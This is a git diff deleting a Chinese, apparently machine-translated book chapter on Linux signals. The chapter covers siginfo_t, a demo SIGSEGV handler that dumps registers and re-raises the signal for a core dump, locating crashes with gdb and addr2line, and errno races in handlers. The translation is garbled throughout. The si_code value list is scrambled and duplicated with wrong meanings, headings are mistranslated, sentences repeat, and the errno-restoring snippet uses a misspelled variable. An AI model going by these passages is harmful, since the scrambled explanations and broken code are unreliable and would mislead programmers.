使用备用信号堆栈,设置第一`SA_NODEFER`个信号标志,并在所有信号到达时对其进行处理。 | 可以根据需要指定备用堆栈大小。 | 要设置的工作更多;必须在负载下仔细测试以确定(最大)要使用的堆栈大小。 | -| 使用实时信号 -(将在下一章中介绍)。 | 操作系统自动对挂起的信号进行排队,堆栈使用率低,可以对信号进行优先排序。 | 系统范围内对可以排队的最大数量的限制(可以作为 root 进行调整)。 | - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,读者最初已经了解了 Linux 操作系统上信号的概念,什么是信号,为什么它们有用,然后详细介绍了如何在应用中有效地处理信号。 - -当然,还有更多的内容,下一章将继续这一重要的讨论。 到时见。* \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/12.md b/docs/handson-sys-prog-linux/12.md deleted file mode 100644 index 39a6ba45..00000000 --- a/docs/handson-sys-prog-linux/12.md +++ /dev/null @@ -1,1655 +0,0 @@ -# 十二、信号——第二部分 - -正如上一章所提到的,信号是 Linux 系统开发人员理解和利用的重要机制。 上一章涵盖了几个方面:介绍,为什么信号对系统开发人员有用,以及最重要的是,开发人员到底应该如何处理和利用信号机制。 - -本章继续这一探索。 在这里,我们将深入了解使用信号处理进程崩溃的内部细节、如何识别和避免处理信号时的常见问题、处理实时信号、发送信号,最后是执行信号处理的替代方法。 - -在本章中,读者将了解以下内容: - -* 优雅地处理进程崩溃,并在该点收集有价值的诊断信息 -* 处理与发出信号有关的常见问题--赛跑中的错误,正确的睡眠方式(是的,你读对了!) -* 处理强大的实时信号 -* 向其他进程发送信号,通过信号进行 IPC -* 可选的信号处理技术 - -# 优雅地处理进程崩溃 - -应用中导致运行时崩溃的错误? 天哪,这怎么可能?*和* - -不幸的是,对于这位富有的软件老手来说,这并不令人大吃一惊。 Bug 是存在的;它们可以隐藏得很好,很多年,有时;有一天,它们出来了,然后-砰!*-*这个过程崩溃了。 - -这里,我们的目的不是讨论调试技术或工具(也许我们可以把它留到另一本书中讨论,好吗?);相反,它是一个关键点:如果我们的应用进程崩溃,我们能做些什么吗? 当然:在上一章中,我们已经详细了解了如何捕获信号。 为什么不设计我们的应用,让我们捕获典型的致命信号-SIGBUS、SIGFPE、SIGILL 和 SIGSEGV-并在它们的信号处理程序中执行以下有用的任务: - -* 执行关键应用清理-例如,释放内存区域、刷新和关闭打开的文件等 -* 将相关细节写入日志文件(导致崩溃的信号、信号的来源、原因、CPU 寄存器值等) -* 通知最终用户,嘿,太糟糕了,我们坠毁了 -* 请允许我们收集坠机细节,我们保证下次会做得更好! - -这不仅为我们提供了有价值的信息,可以帮助您调试崩溃的根本原因,还可以让应用优雅地退出。 - -# 使用 SA_SIGINFO 详细说明信息 - -让我们回顾一下我们在前面的[章](11.html),*Signating-Part I*,*一节中看到的 Sigaction Structure`sigaction`结构的第一个成员;它是一个函数指针,它指定了信号处理程序:* - -```sh -struct sigaction - { - /* Signal handler. */ -#ifdef __USE_POSIX199309 - union - { - /* Used if SA_SIGINFO is not set. */ - __sighandler_t sa_handler; - /* Used if SA_SIGINFO is set. */ - void (*sa_sigaction) (int, siginfo_t *, void *); - } - __sigaction_handler; -# define sa_handler __sigaction_handler.sa_handler -# define sa_sigaction __sigaction_handler.sa_sigaction -#else - __sighandler_t sa_handler; -#endif - *--snip--* }; -``` - -前面突出显示的代码突出显示了这样一个事实:由于信号处理程序位于联合中,因此信号处理程序可以是以下任一项: - -* `sa_handler`*:当`SA_SIGINFO`标志被清除时 -* `sa_sigaction`当设置了`SA_SIGINFO`标志时返回 - -到目前为止,我们已经为信号处理程序使用了`sa_handler`样式的原型: - -`void (*sa_handler)(int);` - -它只接收一个参数:发生的信号的整数值。 - -如果您将**`SA_SIGINFO`**设置为**`SA_SIGINFO`**(当然是在发出`sigaction(2)`系统调用的同时),则信号处理程序函数原型现在变为:`void (*sa_sigaction)(int, siginfo_t *, void *);` - -参数如下: - -* 出现的信号的最大整数值 -* 指向类型为`siginfo_t`的结构的指针(显然是一个 tyecif) -* 一个仅供内部使用(未记录)的指针,称为**uContext** - -第二个参数是力量所在! - -# Siginfo_t 结构 - -当您使用参数`SA_SIGINFO`参数信号标志并发生捕获信号时,内核会填充一个数据结构:参数`siginfo_t`参数结构。 - -下面显示了标题`siginfo_t`的结构定义(稍微简化了一些;如果将前几个成员包装起来,我们在这里不需要担心)(它在 Ubuntu 上显示在标题`/usr/include/x86_64-linux-gnu/bits/types/siginfo_t.h`中,在 Fedora 框上显示在标题`/usr/include/bits/types/siginfo_t.h`中):(在 Ubuntu 上显示在标题`/usr/include/x86_64-linux-gnu/bits/types/siginfo_t.h`中,在 Fedora 框上显示在标题`/usr/include/bits/types/siginfo_t.h`中): - -```sh -typedef struct { - int si_signo; /* Signal number. */ - int si_code; - int si_errno; /* If non-zero, an errno value associated with - this signal, as defined in . */ - - union - { - int _pad[__SI_PAD_SIZE]; - /* kill(). */ - struct - { - __pid_t si_pid; /* Sending process ID. */ - __uid_t si_uid; /* Real user ID of sending process. */ - } _kill; - - /* POSIX.1b timers. */ - struct - { - int si_tid; /* Timer ID. */ - int si_overrun; /* Overrun count. */ - __sigval_t si_sigval; /* Signal value. */ - } _timer; - - /* POSIX.1b signals. */ - struct - { - __pid_t si_pid; /* Sending process ID. */ - __uid_t si_uid; /* Real user ID of sending process. */ - __sigval_t si_sigval; /* Signal value. */ - } _rt; - - /* SIGCHLD. */ - struct - { - __pid_t si_pid; /* Which child. */ - __uid_t si_uid; /* Real user ID of sending process. */ - int si_status; /* Exit value or signal. */ - __SI_CLOCK_T si_utime; - __SI_CLOCK_T si_stime; - } _sigchld; - - /* SIGILL, SIGFPE, SIGSEGV, SIGBUS. */ - struct - { - void *si_addr; /* Faulting insn/memory ref. */ - __SI_SIGFAULT_ADDL - short int si_addr_lsb; /* Valid LSB of the reported address. */ - union - { - /* used when si_code=SEGV_BNDERR */ - struct - { - void *_lower; - void *_upper; - } _addr_bnd; - /* used when si_code=SEGV_PKUERR */ - __uint32_t _pkey; - } _bounds; - } _sigfault; - - /* SIGPOLL. */ - struct - { - long int si_band; /* Band event for SIGPOLL. */ - int si_fd; - } _sigpoll; - - /* SIGSYS. */ -#if __SI_HAVE_SIGSYS - struct - { - void *_call_addr; /* Calling user insn. */ - int _syscall; /* Triggering system call number. */ - unsigned int _arch; /* AUDIT_ARCH_* of syscall. */ - } _sigsys; -#endif - } _sifields; -} siginfo_t ; -``` - -前三个成员是整数: - -* `si_signo`1:信号号-传递给进程的信号 -* `si_code`1:信号来源;枚举; 典型的取值如下: - `SI_QUEUE`:由 AIO 发送`sigqueue(3)` - `SI_USER`:由`kill(2)` - `SI_KERNEL`发送:由内核 - 发送`SI_SIGIO`:由排队的 SIGIO - 发送`SI_ASYNCIO`:由 AIO 发送完成 - `SI_MESGQ`:发送由 AIO 完成 - 发送`SI_MESGQ`:由内核 - 发送`SI_SIGIO`消息:由排队的 SIGIO - 发送`SI_ASYNCIO`消息:由 AIO 发送完成 - 消息`SI_MESGQ`消息:发送。 By Real Time Message Queue Status Change - `SI_TIMER`:由计时器过期发送 -* `si_errno`*:(如果非零)错误号*和*值 - -这里是真正有趣的部分:结构的第四个成员是一个由七个结构组成的联合体(`_sifields`)。 我们理解,联合函数意味着任何一个成员都将在运行时被实例化:*它将是七个结构之一,具体取决于接收到的信号! - -看一下前面显示的数据`siginfo_t`数据结构中的联合函数;联合函数中的注释非常清楚地指出了哪些信号将导致在运行时实例化哪些数据结构。(= - -例如,我们在合并中看到,当接收到`SIGCHLD`信号时(即,当子进程死亡、停止或继续时),将填充此结构: - -```sh - /* SIGCHLD. */ - struct - { - __pid_t si_pid; /* Which child. */ - __uid_t si_uid; /* Real user ID of sending process. */ - int si_status; /* Exit value or signal. */ - __SI_CLOCK_T si_utime; - __SI_CLOCK_T si_stime; - } _sigchld; -``` - -该信息是关于子进程的;因此,我们会收到死亡进程的 PID 和真实 UID(当然,除非使用了`SA_NOCLDWAIT`标志,否则会停止或继续)。 此外,我们会收到整数位掩码`si_status`,告诉我们孩子究竟是如何死亡的(依此类推)。 此外,一些审核信息,如`si_utime`和`si_stime`,分别表示子进程在用户空间和内核空间中花费的时间。 - -回想一下我们在[第 10 章](10.html)、*和进程创建*、*的等待 API-Details*和*、*节中的详细讨论,我们可以通过(任何)等待 API 获取子终止状态信息。 那么,在这里,我们可以看到,它更简单:使用参数`SA_SIGINFO`参数标志,捕获参数`SIGCHLD`参数信号,在处理程序函数中,只需从参数联合中查找相关的值! - -The man page on `sigaction(2)` describes the `siginfo_t` structure members in depth, providing detailed information. Do read through it. - -# 在进程崩溃时获取系统级详细信息 - -当进程死亡时,可以通过`SIGSEGV`从内核收集大量信息:内存错误或缺陷,这是一种常见的情况,正如我们在[第 4 章](04.html)、*动态内存分配*、[第 5 章](05.html)、*Linux 内存问题*和[第 6 章](06.html)、*内存问题调试工具*中所讨论的那样。 (本节也适用于致命故障信号`SIGBUS`、`SIGILL`和`SIGFPE`。 顺便说一句,`SIGFPE`不仅在被零除错误时发生,在任何类型的与算术相关的异常中都会发生)。 - -`sigaction(2)`上的手册页显示了以下内容: - -```sh -... -The following values can be placed in si_code for a SIGSEGV signal: - -SEGV_MAPERR - Address not mapped to object. -SEGV_ACCERR - Invalid permissions for mapped object. -SEGV_BNDERR (since Linux 3.19) - Failed address bound checks. -SEGV_PKUERR (since Linux 4.6) - Access was denied by memory protection keys. See pkeys(7). The - protection key which applied to this access is available via si_pkey. -... -``` - -`SEGV_MAPERR`表示进程试图访问的地址(用于读取、写入或执行)无效;没有**页表条目**或(**PTE**)条目可供其使用,或者它拒绝映射到任何有效地址。 - -前面的`SEGV_ACCERR`很容易理解:由于缺乏权限(例如,尝试写入只读内存页面),因此无法执行尝试的访问(读取、写入或执行)。 - -特别的是,`SEGV_BNDERR`和`SEGV_PKUERR`宏无法编译;我们不会尝试在这里使用它们。 - -The glibc library provides the helper routines `psignal(3)` and `psiginfo(3)`; passed an informational string, they print it, appending a :  and then the actual signal that occurred and information on the cause of the signal being delivered and the faulting address (looked up from the siginfo_t structure) respectively. We use the `psiginfo(3)` in our example code as follows. - -# 从崩溃中捕获和提取信息 - -接下来,我们将看到带有故意错误的测试程序`ch12/handle_segv.c`、***和***,以帮助我们理解可能的用例。 所有这些都将导致操作系统生成新的`SIGSEGV`信号。应用开发人员如何处理此信号非常重要:我们将演示如何使用它来收集重要的详细信息,例如发生崩溃的访问内存位置的地址,以及该时间点所有寄存器的值。 这些详细信息通常为内存错误的根本原因提供了有用的线索。 - -为了帮助理解我们是如何构建此程序的,请在不带任何参数的情况下运行它: - -```sh -$ ./handle_segv -Usage: ./handle_segv u|k r|w -u => user mode -k => kernel mode - r => read attempt - w => write attempt -$ -``` - -可以看出,我们因此可以执行四种无效的内存访问:实际上,有四种错误情况: - -* 无效的用户[u]模式读取[r] -* 无效的用户[u]模式写入[w] -* 无效的内核[k]模式读取[r] -* 无效的内核[k]模式写入[w] - -我们使用的一些 typedefs 和宏如下所示: - -```sh -typedef unsigned int u32; -typedef long unsigned int u64; - -#define ADDR_FMT "%lx" -#if __x86_64__ /* 64-bit; __x86_64__ works for gcc */ - #define ADDR_TYPE u64 - static u64 invalid_uaddr = 0xdeadfaceL; - static u64 invalid_kaddr = 0xffff0b9ffacedeadL; -#else - #define ADDR_TYPE u32 - static u32 invalid_uaddr = 0xfacedeadL; - static u32 invalid_kaddr = 0xdeadfaceL; -#endif -``` - -`main`函数如下所示: - -```sh -int main(int argc, char **argv) -{ - struct sigaction act; - if (argc != 3) { - usage(argv[0]); - exit(1); - } - - memset(&act, 0, sizeof(act)); - act.sa_sigaction = myfault; - act.sa_flags = SA_RESTART | SA_SIGINFO; - sigemptyset(&act.sa_mask); - if (sigaction(SIGSEGV, &act, 0) == -1) - FATAL("sigaction SIGSEGV failed\n"); - -if ((tolower(argv[1][0]) == 'u') && tolower(argv[2][0] == 'r')) { - ADDR_TYPE *uptr = (ADDR_TYPE *) invalid_uaddr; - printf("Attempting to read contents of arbitrary usermode va uptr = 0x" - ADDR_FMT ":\n", (ADDR_TYPE) uptr); - printf("*uptr = 0x" ADDR_FMT "\n", *uptr); // just reading - - } else if ((tolower(argv[1][0]) == 'u') && tolower(argv[2][0] == 'w')) { - ADDR_TYPE *uptr = (ADDR_TYPE *) & main; - printf - ("Attempting to write into arbitrary usermode va uptr (&main actually) = 0x" ADDR_FMT ":\n", (ADDR_TYPE) uptr); - *uptr = 0x2A; // writing - } else if ((tolower(argv[1][0]) == 'k') && tolower(argv[2][0] == 'r')) { - ADDR_TYPE *kptr = (ADDR_TYPE *) invalid_kaddr; - printf - ("Attempting to read contents of arbitrary kernel va kptr = 0x" ADDR_FMT ":\n", (ADDR_TYPE) kptr); - printf("*kptr = 0x" ADDR_FMT "\n", *kptr); // just reading - - } else if ((tolower(argv[1][0]) == 'k') && tolower(argv[2][0] == 'w')) { - ADDR_TYPE *kptr = (ADDR_TYPE *) invalid_kaddr; - printf - ("Attempting to write into arbitrary kernel va kptr = 0x" ADDR_FMT ":\n", - (ADDR_TYPE) kptr); - *kptr = 0x2A; // writing - } else - usage(argv[0]); - exit(0); -} -``` - -VA=虚拟地址。 - -以下是关键部分:SIGSEGV 的信号处理程序: - -```sh -static void myfault(int signum, siginfo_t * si, void *ucontext) -{ - fprintf(stderr, - "%s:\n------------------- FATAL signal ---------------------------\n", - APPNAME); - fprintf(stderr," %s: received signal %d. errno=%d\n" - " Cause/Origin: (si_code=%d): ", - __func__, signum, si->si_errno, si->si_code); - - switch (si->si_code) { - /* Possible values si_code can have for SIGSEGV */ - case SEGV_MAPERR: - fprintf(stderr,"SEGV_MAPERR: address not mapped to object\n"); - break; - case SEGV_ACCERR: - fprintf(stderr,"SEGV_ACCERR: invalid permissions for mapped object\n"); - break; - /* SEGV_BNDERR and SEGV_PKUERR result in compile failure? */ - - /* Other possibilities for si_code; here just to show them... */ - case SI_USER: - fprintf(stderr,"user\n"); - break; - case SI_KERNEL: - fprintf(stderr,"kernel\n"); - break; - *--snip--* - - default: - fprintf(stderr,"-none-\n"); - } -<...> - - /* - * Placeholders for real-world apps: - * crashed_write_to_log(); - * crashed_perform_cleanup(); - * crashed_inform_enduser(); - * - * Now have the kernel generate the core dump by: - * Reset the SIGSEGV to (kernel) default, and, - * Re-raise it! - */ - signal(SIGSEGV, SIG_DFL); - raise(SIGSEGV); -} -``` - -这里有很多值得观察的地方: - -* 我们打印出信号号和原始值 - -* 我们解释信号原始值(通过开关盒) - - * 特别是对于 SIGSEGV、SEGV_MAPERR 和 SEGV_ACCERR - -有趣的地方来了:下面的代码打印出出错的指令或地址!不仅如此,我们还设计了一种方法,通过我们的`dump_regs`函数,我们也可以打印出大多数 CPU 寄存器。 如前所述,我们还使用助手例程`psiginfo(3)`,如下所示: - -```sh -fprintf(stderr," Faulting instr or address = 0x" ADDR_FMT "\n", - (ADDR_TYPE) si->si_addr); -fprintf(stderr, "--- Register Dump [x86_64] ---\n"); -dump_regs(ucontext); fprintf(stderr, - "------------------------------------------------------------\n"); -psiginfo(si, "psiginfo helper"); -fprintf(stderr, - "------------------------------------------------------------\n"); -``` - -然后,在处理这样的致命信号时,我们只需要保留一些虚拟存根,用于您在实际应用中可能需要的功能(在这里,我们实际上不编写任何代码,因为它当然是非常特定于应用的): - -```sh -/* - * Placeholders for real-world apps: - * crashed_write_to_log(); - * crashed_perform_cleanup(); - * crashed_inform_enduser(); - */ -``` - -最后,调用`abort(3)`使进程终止(因为它现在处于未定义状态,无法继续)是结束的一种方式。 然而,想一想:如果我们现在就中止(),进程就会在内核没有机会生成核心转储的情况下死亡。(如前所述,内核转储本质上是崩溃时进程动态内存段的快照;这对开发人员调试和确定崩溃的根本原因非常有用)。 因此,让内核生成核心转储文件确实会很有用。 我们怎么安排这件事呢? 其实很简单:我们需要做以下几件事: - -* 将`SIGSEGV`信号的处理程序重置为(内核)默认值 -* 在此过程中发出信号(Re) - -此代码片段正好实现了以下功能: - -```sh -[...] - * Now have the kernel generate the core dump by: - * Reset the SIGSEGV to glibc default, and, - * Re-raise it! - */ - signal(SIGSEGV, SIG_DFL); - raise(SIGSEGV); -``` - -由于情况很简单,我们只需使用更简单的`signal(2)`API 将信号的操作恢复为默认值。 然后,我们再次使用库 API`raise(3)`来在调用过程中发出给定信号。 (为了便于阅读,省略了错误检查代码。) - -# 寄存器转储 - -如前所述,`dump_regs`函数打印出 CPU 寄存器值;以下是关于这一点需要注意的几点: - -* 它非常特定于 CPU(如下所示的示例案例仅适用于 x86_64CPU)。 -* 为了实际获得对 CPU 寄存器的访问,我们使用了信号处理函数的未记录的第三个参数(注意:与*和*`SA_SIGINFO`一起使用时),即所谓的本地用户上下文指针。虽然无法解释它(就像我们在这里演示的那样),但是,当然,由于它不能通过 glibc 系统调用(或其他)接口正式可见,所以您不能依赖此功能。请谨慎使用(以及大量测试)。(注:当与*和*`SA_SIGINFO`一起使用时,请谨慎使用(以及大量测试),但当然,由于它无法通过 glibc 系统调用(或其他)接口正式可见,所以您不能依赖此功能。请谨慎使用(以及大量测试)。 - -话虽如此,让我们来看看代码: - -```sh -/* arch - x86[_64] - specific! */ -static inline void dump_regs(void *ucontext) -{ -#define FMT "%016llx" -ucontext_t *uctx = (ucontext_t *)ucontext; - - fprintf(stderr, - " RAX = 0x" FMT " RBX = 0x" FMT " RCX = 0x" FMT "\n" - " RDX = 0x" FMT " RSI = 0x" FMT " RDI = 0x" FMT "\n" - " RBP = 0x" FMT " R8 = 0x" FMT " R9 = 0x" FMT "\n" - - " R10 = 0x" FMT " R11 = 0x" FMT " R12 = 0x" FMT "\n" - " R13 = 0x" FMT " R14 = 0x" FMT " R15 = 0x" FMT "\n" - " RSP = 0x" FMT "\n" - - "\n RIP = 0x" FMT " EFLAGS = 0x" FMT "\n" - " TRAP# = %02lld ERROR = %02lld\n" - /* CR[0,1,3,4] unavailable */ - " CR2 = 0x" FMT "\n" - , uctx->uc_mcontext.gregs[REG_RAX] - , uctx->uc_mcontext.gregs[REG_RBX] - , uctx->uc_mcontext.gregs[REG_RCX] - , uctx->uc_mcontext.gregs[REG_RDX] - , uctx->uc_mcontext.gregs[REG_RSI] - , uctx->uc_mcontext.gregs[REG_RDI] - , uctx->uc_mcontext.gregs[REG_RBP] - , uctx->uc_mcontext.gregs[REG_R8] - , uctx->uc_mcontext.gregs[REG_R9] - , uctx->uc_mcontext.gregs[REG_R10] - , uctx->uc_mcontext.gregs[REG_R11] - , uctx->uc_mcontext.gregs[REG_R12] - , uctx->uc_mcontext.gregs[REG_R13] - , uctx->uc_mcontext.gregs[REG_R14] - , uctx->uc_mcontext.gregs[REG_R15] - , uctx->uc_mcontext.gregs[REG_RSP] - , uctx->uc_mcontext.gregs[REG_RIP] - , uctx->uc_mcontext.gregs[REG_EFL] - , uctx->uc_mcontext.gregs[REG_TRAPNO] - , uctx->uc_mcontext.gregs[REG_ERR] - , uctx->uc_mcontext.gregs[REG_CR2] - ); -} -``` - -现在,让我们运行两个测试用例: - -```sh -*Test Case: Userspace, Invalid Read* -$ ./handle_segv u r -Attempting to read contents of arbitrary usermode va uptr = 0xdeadface: -handle_segv: -------------------- FATAL signal --------------------------- - myfault: received signal 11. errno=0 - Cause/Origin: (si_code=1): SEGV_MAPERR: address not mapped to object - Faulting instr or address = 0xdeadface - --- Register Dump [x86_64] --- -RAX = 0x00000000deadface RBX = 0x0000000000000000 RCX = 0x0000000000000000 -RDX = 0x0000000000000000 RSI = 0x0000000001e7b260 RDI = 0x0000000000000000 -RBP = 0x00007ffc8d842110 R8 = 0x0000000000000008 R9 = 0x0000000000000000 -R10 = 0x0000000000000000 R11 = 0x0000000000000246 R12 = 0x0000000000400850 -R13 = 0x00007ffc8d8421f0 R14 = 0x0000000000000000 R15 = 0x0000000000000000 -RSP = 0x00007ffc8d842040 -RIP = 0x0000000000400e84 EFLAGS = 0x0000000000010202 -TRAP# = 14 ERROR = 04 -CR2 = 0x00000000deadface ------------------------------------------------------------- -psiginfo helper: Segmentation fault (Address not mapped to object [0xdeadface]) ------------------------------------------------------------- -Segmentation fault (core dumped) -$ -``` - -以下是一些需要注意的事项: - -* 原始值是*`SEGV_MAPERR`:是的,我们试图读取的任意用户空间虚拟地址*(`0xdeadface`)不存在(或映射),因此出现了 SEGFAULT! -* 出现故障的地址显示为我们尝试读取的无效的任意用户空间虚拟地址(`0xdeadface`): - * 备注:一个重要的值-出错指令或地址-实际上是保存在 x86 的**控制寄存器 2**(**CR2**)中的值,如图所示。 - * 陷阱编号显示为 14;x86[_64]上的陷阱 14 为页面故障。 实际情况是:当进程尝试读取无效的虚拟地址(`0xdeadface`)时,错误的访问导致 x86[_64]MMU 引发错误页错误异常,进而导致操作系统错误处理程序代码运行并通过 SIGSEGV 终止进程。 -* CPU 寄存器也会被转储。 - -The curious reader will perhaps wonder what exactly each register is used for. This is an area beyond this book's scope; nevertheless, the reader can find useful information by seeking out the CPU OEM's **Application Binary Interface** (**ABI**) documentation; among many things, it specifies register usage for function calling, return, parameter passing, and so on. Check out the *Further reading *section on the GitHub repository for more on ABI docs. - -* `psiginfo(3)`也会生效,打印出信号的原因和故障地址 -* 消息`Segmentation fault (core dumped)`告诉我们,我们的策略奏效了:我们将 SIGSEGV 的信号处理重置为默认信号处理,并重新引发信号,导致操作系统(内核)生成核心转储。 生成的核心文件(在 Fedora 28 x86_64 盒上生成)如下所示: - -```sh -$ ls -l corefile* --rw-------. 1 kai kai 389120 Jun 24 14:23 'corefile:host=:gPID=2413:gTID=2413:ruid=1000:sig=11:exe=!!!ch13!handle_segv.2413' -$ -``` - -这里有几点值得一提: - -* 对核心转储的详细分析和解释超出了本书的范围。 使用 gdb 分析核心转储非常简单;稍微搜索一下就会得到结果。 -* 指定给核心文件的名称各不相同;现代 Fedora 发行版将名称设置为非常具有描述性(如您所见);实际上,核心文件名是通过可在内核 proc 文件系统中调优的内核来控制的。 有关详细信息,请参阅`core(5)`上的手册页。 - -我们为我们的程序`handle_segv`*和*运行内核空间无效写入测试用例,如下所示: - -```sh -*Test Case: Kernel-space, Invalid* ***Write*** $ ./handle_segv k w -Attempting to write into arbitrary kernel va kptr = 0xffff0b9ffacedead: -handle_segv: -------------------- FATAL signal --------------------------- - myfault: received signal 11. errno=0 - Cause/Origin: (si_code=128): kernel - Faulting instr or address = 0x0 - --- Register Dump [x86_64] --- -RAX = 0xffff0b9ffacedead RBX = 0x0000000000000000 RCX = 0x0000000000000000 -RDX = 0x0000000000000000 RSI = 0x00000000023be260 RDI = 0x0000000000000000 -RBP = 0x00007ffcb5b5ff60 R8 = 0x0000000000000010 R9 = 0x0000000000000000 -R10 = 0x0000000000000000 R11 = 0x0000000000000246 R12 = 0x0000000000400850 -R13 = 0x00007ffcb5b60040 R14 = 0x0000000000000000 R15 = 0x0000000000000000 -RSP = 0x00007ffcb5b5fe90 - -RIP = 0x0000000000400ffc EFLAGS = 0x0000000000010206 -TRAP# = 13 ERROR = 00 -CR2 = 0x0000000000000000 ------------------------------------------------------------- -psiginfo helper: Segmentation fault (Signal sent by the kernel [(nil)]) ------------------------------------------------------------- -Segmentation fault (core dumped)$ -``` - -请注意,这一次,陷阱值为 13;在 x86[_64]MMU 上,这是第一个**通用保护故障**(**GPF**)。 同样,这种糟糕的访问导致 x86[_64]MMU 引发 GPF 异常,进而导致操作系统故障处理程序代码运行并通过 SIGSEGV 终止进程。*和*陷阱是 GPF 的线索:我们违反了保护规则;回想一下[第 1 章](01.html)、*Linux 系统体系结构*:在更高、更特权级别运行的进程(或线程)始终可以禁止访问。 在这里,环 3 处的进程试图访问环 0 处的内存;因此,MMU 引发 GPF 异常,操作系统终止它(通过进程`SIGSEGV`)。 - -不幸的是,这一次 CR2 值是 0x0(在内核空间发生崩溃的情况下),因此故障地址也是 0x0。 但是,我们仍然可以在其他寄存器中获得有价值的细节(指令和堆栈指针值,等等,我们将在下面看到)。 - -# 在源代码中查找崩溃位置 - -RIP 指令(IA-32 上的指令指针**;**和 IA-32 上的 EIP,ARM 上的 PC)非常有用:使用它的值和一些实用程序,我们几乎可以精确定位进程崩溃时代码中的位置。 多么?。 有几种方法;其中一些方法如下: - -* 使用工具链实用程序`objdump`*(带有`-d``-S`开关) -* 更简单的方法是使用`gdb(1)`(见下文) -* 使用`addr2line(1)`命令实用程序 - -使用 gdb: - -用程序的最新调试列表版本(用`-g`开关编译)加载`gdb(1)`,然后使用如下所示的列表命令: - -```sh -$ gdb -q ./handle_segv_dbg -Reading symbols from ./handle_segv_dbg...done. -(gdb) list *0x0000000000400ffc -<< 0x0000000000400ffc is the RIP value >> -0x400ffc is in main (handle_segv.c:212). -207 } else if ((tolower(argv[1][0]) == 'k') && tolower(argv[2][0] == 'w')) { -208 ADDR_TYPE *kptr = (ADDR_TYPE *) invalid_kaddr; // arbitrary kernel virtual addr -209 printf -210 ("Attempting to write into arbitrary kernel va kptr = 0x" ADDR_FMT ":\n", -211 (ADDR_TYPE) kptr); -212 *kptr = 0x2A; // writing -213 } else -214 usage(argv[0]); -215 exit(0); -216 } -(gdb) -``` - -`list *
`命令准确地指出了导致崩溃的代码,为清楚起见,在此处重现: - -```sh -(gdb) l *0x0000000000400ffc -0x400ffc is in main (handle_segv.c:212). -``` - -第 212 行如下: - -```sh -212: *kptr = 0x2A; // writing -``` - -这是完全正确的。 - -使用`addr2line`: - -*`addr2line(1)`命令实用程序提供了类似的功能;同样,请通过其命令行`-e`命令开关针对二进制可执行文件的第二个内置调试命令(使用`-g`编译)运行它: - -```sh -$ addr2line -e ./handle_segv_dbg 0x0000000000400ffc -<...>/handle_segv.c:212 -$ -``` - -另外,请考虑一下:我们之前的`ch12/altstack.c`*和*程序在其备用信号堆栈溢出时可能并将遭受分段错误;我们将把它留给读者作为练习来编写一个类似于这里所示的处理程序来正确处理这种情况。 - -Finally, though, we have shown that handling the segfault, the SIGSEGV, can be very beneficial to figuring out the cause of a crash; the simple fact remains that once this signal is generated upon a process, the process is considered to be in an undefined, in effect, unstable, state. Thus, there is no guarantee that whatever work we perform in its signal handler will actually go through as intended. Thus, keeping the signal handling code to a minimum would be recommended. - -# 信号-警告和陷阱 - -信号是异步事件,可能会以微妙的方式导致错误和错误,这些错误和错误对于一般的审查者(或程序员,就这一点而言)来说并不是立竿见影的。 某些类型的功能或行为直接或间接地受到一个或多个信号到达的影响;您需要对可能的微妙竞争和类似情况保持警惕。 - -在这方面,我们已经讨论过的一个重要方面如下:在信号处理程序中,您只能调用记录为(或被设计为)非同步信号安全的函数。其他方面也值得深思;请继续阅读。 - -# 得体地处理差事 - -在使用系统调用和信号的程序中,可能会发生与未初始化的全局整数`errno`的争用。 - -# Errno 是做什么的? - -记住 errno*和*global;它是进程的未初始化数据段中未初始化的全局整数(进程布局在[第 2 章](02.html)和*虚拟内存*中介绍)。 - -他的名字是做什么用的? 每当系统调用失败时,它都会将`-1`值返回给用户空间。 但是,它为什么会失败呢? 啊,第一个错误诊断,以及它失败的原因,是这样返回到用户空间的:glibc 与内核一起,用一个正整数值戳全局错误代码。 该值实际上是英语错误消息的二维数组(以 NULL 结尾)的索引;它称为`_sys_errlist`。 因此,查找`_sys_errlist`[errno]会显示英文错误消息:系统调用失败的原因。 - -不是由开发人员执行所有的工作,而是设计方便的例程,如:*`perror(3)`、*`strerror(3)`和*`error(3)`*,以便通过查找*`_sys_errlist[errno]`发出错误消息。 程序员经常在系统调用错误处理代码中使用这样的例程(事实上,我们这样做:检查宏的代码:`WARN`)和`FATAL`-它们调用`handle_err`函数,而后者又调用`perror(3)`作为其处理的一部分)。 - -Here is a useful-to-look-up item—the list of all possible `errno` values resides in the header file `/usr/include/asm-generic/errno-base.h`. - -# 差事赛跑 - -请考虑以下情况: - -1. 进程为几个信号设置一个信号处理程序: - * 让我们假设`SIGUSR1`的信号处理程序名为`handle_sigusr.`。 -2. 现在该进程正在运行其代码的一部分,即函数`foo`: - * Foo 发布系统调用,称`open(2)` - * 系统调用返回失败`-1` - * Errno 被设置为正整数`13`,反映错误权限被拒绝(errno 宏 EACCES)。 - * 系统调用的错误处理代码调用`perror(3)`*和*发出英文错误消息。 - -是的,所有这些看起来都是无辜的。 然而,现在让我们考虑一下混合中的信号;检查以下场景: - -* *<...>* - * Foo 会发出系统调用,比如`open(2)`*。* - * 系统调用返回`-1`失败。 - * Errno 被设置为正整数`13`,反映错误权限被拒绝(errno 宏 EACCES)。 -* 信号`SIGUSR1`i 在此时被传递到该过程。 - * 控制切换到信号处理程序例程:`handle_sigusr`。 - * 这里的代码发出另一个系统调用,比如:`stat(2)`**。** - * 命令`stat(2)`的系统调用无法返回命令`-1`。 - * Errno 现在设置为正整数`9`,反映错误文件编号(errno 宏 EBADF)。 - * 信号处理程序返回。 -* 系统调用的错误处理代码调用`perror(3)`来发出英文错误消息。 - -可以看出,由于事件的先后顺序,Ererrno 的值从值 13 被改写为值 9。 其结果是,应用开发人员(以及项目中的其他所有人)现在被奇怪的错误报告搞糊涂了(错误错误文件号可能会被报告两次!)。 种族--程序员的祸根! - -# 修复跑步机竞赛 - -上一场比赛的解决办法实际上相当简单。 - -每当您有一个信号处理程序,其中的代码可能会导致 errerrno 的值发生更改时,请在函数进入时保存`errno`,并在从处理程序返回数据之前恢复它。 - -只需包含变量的头文件,即可访问该变量`errno`。 下面是执行此操作的信号处理程序的快速示例代码片段: - -```sh -<...> -include -<...> - -static void handle_sigusr(int signum) -{ - int myerrno = errno; - <... do the handling ...> - <... syscalls, etc ...> - errno = myerror; -} -``` - -# 好好睡一觉 - -是的,即使是睡眠也需要足够的知识才能正确执行! -通常情况下,您的进程必须进入完全睡眠状态。 我们可能都已经学会了如何使用`sleep(3)`API 来做到这一点: - -```sh -#include -unsigned int sleep(unsigned int 